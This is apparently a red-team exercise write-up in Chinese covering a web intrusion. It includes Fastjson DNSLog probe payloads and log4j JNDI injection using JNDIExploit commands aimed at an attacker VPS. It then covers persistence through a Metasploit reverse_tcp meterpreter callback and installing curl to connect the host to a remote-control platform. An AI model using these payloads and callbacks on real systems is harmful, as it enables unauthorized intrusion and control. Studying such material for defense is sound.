記一次攻防演練打點過程
前言
在如今錯綜復雜的網(wǎng)絡(luò)環(huán)境,還有各種防護設(shè)備的加持,漏洞利用可謂難上加難。這里簡單記錄下在一次攻防演練中從打點到權(quán)限維持的曲折過程。
過程
前期先從備案查詢、子域名收集、端口掃描等方式獲取資產(chǎn)URL。其次對URL進行指紋識別,雖然發(fā)現(xiàn)了幾個存在指紋的系統(tǒng),但后續(xù)滲透發(fā)現(xiàn)漏洞已無法利用,漏洞已修。最后老實本分對其他Web系統(tǒng)進行滲透,尋找突破口。
01 前后端分離架構(gòu)
前后端分離的開發(fā)架構(gòu)已然成為互聯(lián)網(wǎng)項目開發(fā)的主流模式,通過nginx+tomcat(中間加Node.js)來進行解耦,是未來的大型分布式架構(gòu)、彈性計算架構(gòu)、微服務架構(gòu)和多端化服務的基礎(chǔ)。
·前端:負責View和Controller層·后端:負責Model層,進行業(yè)務/數(shù)據(jù)處理
JAVA 更適合做 Model 層、持久層的業(yè)務,引入Node.js可進行Controller層的處理。Node.js作為橋梁架接服務端API輸出的JSON數(shù)據(jù)。

02 WebPack資源管理
WebPack本身作為一個資源管理和打包構(gòu)建工作,其強大之處在于各種靜態(tài)資源的依賴分析和預編譯。經(jīng)過WebPack編譯后得到各種靜態(tài)資源,通常生成dist文件夾,保存各種靜態(tài)文件。其結(jié)構(gòu)大致如下:

而app.js文件通常包含了各類前端路由或者后端API接口,是我們滲透前后端系統(tǒng)的突破口。當然不僅僅只是app.js中會存在。
03 發(fā)現(xiàn)指紋Fastjson
使用burp插件,可自動從js中爬取前端路由或者后端API接口

當獲取到后端API接口時,使用burp的Intruder模塊對所有接口發(fā)送GET和POST請求,POST請求時可以構(gòu)造json請求體發(fā)送。
部分接口進行GET請求時,后端返回缺失某參數(shù),此時可構(gòu)造該參數(shù)并進行SQL注入等漏洞利用。
此時從報錯信息中發(fā)現(xiàn)某個接口使用Fastjson組件

于是利用DNS探測判斷Fastjson版本
Fastjson < 1.2.43
{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}Fastjson < 1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}Fastjson < 1.2.68
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
{{"@type":"java.net.URL","val":"http://dnslog"}:0}未發(fā)現(xiàn)DNSLog回顯
04 發(fā)現(xiàn)log4j漏洞
字段Content-Type存在dnslog回顯,先試試dns協(xié)議進行dnslog探測

可探測java版本,1.8.0_171版本

使用ldap協(xié)議進行dnslog探測

可探測服務器類型,Linux系統(tǒng)

可進行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jar
查看使用方式
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
使用TomcatEcho鏈執(zhí)行命令并回顯
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip
發(fā)送cmd命令請求

成功執(zhí)行命令并回顯,root權(quán)限
此時獲取命令執(zhí)行權(quán)限,如何進行權(quán)限維持?獲取一個穩(wěn)定的shell
05 權(quán)限維持
1)執(zhí)行命令,直接反彈shell
2)執(zhí)行命令,寫入webshell
3)jndi注入工具支持打入內(nèi)存馬
4)jndi注入工具1.4版本新增支持上線msf
第一種嘗試:執(zhí)行bash、sh命令反彈shell,存在ldap請求,但反彈命令未執(zhí)行成功;
第二種嘗試:通過pwd、ls命令進行Web系統(tǒng)目錄,發(fā)現(xiàn)服務由jar起的,寫入webshell文件無法利用;
第三種嘗試:VPS收到打入內(nèi)存馬的ldap請求,但訪問內(nèi)存馬路徑時顯示404;
第四種嘗試:使用tomcatBypass路由上線msf成功

msf開啟監(jiān)聽,使用payload:java/meterpreter/reverse_tcp

設(shè)置LHOST、LPORT,執(zhí)行run開啟監(jiān)聽

發(fā)送ldap請求,請求tomcatBypass路由,IP是VPS的IP,PORT是msf監(jiān)聽的端口

上線msf,得到穩(wěn)定式shell

得到shell,但無法進行直觀目錄瀏覽,而且shell是交互式shell,有沒有更好的遠控方式呢?
06 上線遠控
在本公眾號前面發(fā)過的文章中提到一款遠控平臺,自帶某廠商證書,為免殺工作省去大量功夫。但上線命令需要使用curl命令,然而該機器上并沒有curl命令。
沒有curl,但有wget,可不可以使用wget替換curl,詢問下chatgpt

答案是存在可替換的,但卻達不到我們的效果
于是安裝curl命令,但yum、apt-get等命令也沒有

很奇怪的一個系統(tǒng),大概率是個閹割版的docker容器,先看下系統(tǒng)版本類型

cat /etc/os-release
這種系統(tǒng)內(nèi)核,百度下

是個docker無疑了,詢問chatgpt該內(nèi)核的系統(tǒng)如何下載curl

Apline Linux內(nèi)核使用輕量級的apk包管理工具來管理軟件包。執(zhí)行一鍵安裝命令,等待安裝過程

安裝完成,接下來使用curl命令一鍵上線遠控。
總結(jié)
命令執(zhí)行無法反彈shell或許是防護設(shè)備攔截所致。
本文作者:極致攻防實驗室, 轉(zhuǎn)載請注明來自FreeBuf.COM
























